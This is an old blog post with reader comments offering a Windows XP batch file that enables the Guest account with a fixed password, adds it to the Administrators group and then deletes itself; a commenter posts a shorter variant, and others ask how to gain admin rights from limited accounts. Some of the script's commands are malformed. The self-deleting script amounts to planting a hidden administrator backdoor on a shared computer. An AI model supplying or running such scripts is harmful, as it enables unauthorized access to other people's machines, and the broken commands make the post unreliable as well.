Convert Guest Account into Administrator Account

by on July 7, 2007
in Tips and Tricks, Windows XP

Now here’s a small trick I found by which you can convert a Guest account on Windows XP into an Administrator one. But, first the disclaimer: This is only for educational purposes only. So don’t try to damage anything at someone else’s place.

All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.

echo off
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Double-click the file to execute or type the above-given code in Command Prompt.

I have only tried this once or twice. I found this file in a corner of my PC, so I thought sharing it with my readers.

I hope you enjoyed this little trick.

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  • Phillip Gajadhar

    My name is Phillip,14 years of age.The method above works but it leaves a password attached to the guest account.Most likely the password would be 420.

    Now the method works but only if the user running the bat file is an administrator user account.otherwise if you try to run the bat in a limited account,it would not make the changes.

    here is a better is the same.but instead put this in the bat file you create

    echo off
    title modifying
    net localgroup guests guest /delete
    net localgroup administrators guest /add

    That is it.Remember it is the same thing u can say.

  • rajwinder

    it did not work it said, “Acess denied”

  • Safiullah

    Dear Haris,

    thanks for your information, i try it but my computer is a limited user
    like i can’t install, i can’t search further web site.
    now can you tell me the way of it.

    safiullah from Afghanistan

  • Khayber

    How get writ permission in limited account
    Khayber from afghanistan

  • adhgo

    thank u my freind

  • shahbazkhan

    plz Say the Short trick …..
    how can i do my limited account to administartor……..plz Share Me……..I Don't remember my password…

  • Swamy123

    is it works

  • Jumpshots

    will this work from the guest profile?

  • amandalynp

    How do I change the Guest account back into a limited account. I can not figure out a way, and I do not want others to have administrative privileges. Please help, as this is very important. Thanks, Amanda